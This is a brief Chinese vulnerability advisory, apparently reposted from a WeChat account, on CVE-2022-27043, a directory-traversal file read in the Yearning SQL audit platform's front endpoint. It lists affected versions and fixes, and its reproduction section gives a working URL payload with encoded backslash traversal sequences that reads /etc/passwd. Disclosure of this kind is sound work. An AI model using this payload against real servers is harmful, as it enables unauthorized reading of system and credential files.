Yearning front 接口任意文件读取漏洞（CVE-2022-27043）

漏洞简介

Yearning是中国Henry Yee个人开发者的一个出色方便快捷的 Mysql SQL 审核平台。Yearning 2.3.1 版本、Interstellar GA 2.3.2 版本 和 Neptune 2.3.4 - 2.3.6 版本存在安全漏洞，该漏洞源于存在一个目录遍历漏洞。攻击者可以利用该漏洞获取敏感信息。

漏洞复现

x.x.x.x/front//%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

漏洞修复

1、升级至高版本

2、官方安全通告：

https://next.yearning.io/security.html

原文始发于微信公众号（0x00001）：Yearning front 接口任意文件读取漏洞（CVE-2022-27043）